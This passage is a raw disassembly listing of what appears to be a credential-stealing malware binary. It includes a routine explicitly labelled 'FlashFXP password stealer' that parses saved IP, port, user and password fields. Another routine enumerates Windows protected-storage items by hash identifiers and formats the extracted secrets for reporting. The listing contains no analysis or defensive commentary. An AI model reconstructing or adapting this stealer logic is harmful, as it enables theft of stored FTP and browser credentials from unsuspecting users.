		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D2AC ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D240
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D204
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DE50
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D570
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D53C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D538 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D570
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D570
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: MEW:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D570
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DE00
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset byte_41DE00
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D4E8
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DE00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D484
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D474
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D474
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D474
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D474
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC	; lstrcpy


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D474
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D474
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D474
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C	; lstrlen
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D434
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D414
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D414
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100	; lstrcpyn
		push	offset dword_41D40C
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D404
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D3BC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DE00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D474
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D474
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D474
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D360
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


